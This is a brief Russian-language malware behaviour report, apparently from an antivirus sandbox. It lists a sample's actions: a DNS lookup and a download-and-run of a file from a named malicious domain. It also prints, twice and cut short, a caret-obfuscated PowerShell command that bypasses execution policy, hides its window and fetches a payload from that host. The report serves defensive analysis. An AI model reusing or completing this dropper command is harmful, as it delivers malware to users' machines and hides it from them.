Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://tolleyfrvdy.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOWeRSHelL.exE -e^xEC^uTi^O^Npo^lic^Y^ ^B^y^PaSs^ -^N^Opro^f^i^le ^-w^iNdOw^STYLe^ ^H^Id^de^n^ ^(n^eW-^OBje^CT SyS^TEm^.^ne^t^.w^E^b^ClIENt).D^o^W^NLo^a^d^fI^lE('http://tolley...
Сетевая активность
UDP
- DNS ASK to####frvdy.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOWeRSHelL.exE -e^xEC^uTi^O^Npo^lic^Y^ ^B^y^PaSs^ -^N^Opro^f^i^le ^-w^iNdOw^STYLe^ ^H^Id^de^n^ ^(n^eW-^OBje^CT SyS^TEm^.^ne^t^.w^E^b^ClIENt).D^o^W^NLo^a^d^fI^lE('http://tolley...' (со скрытым окном)
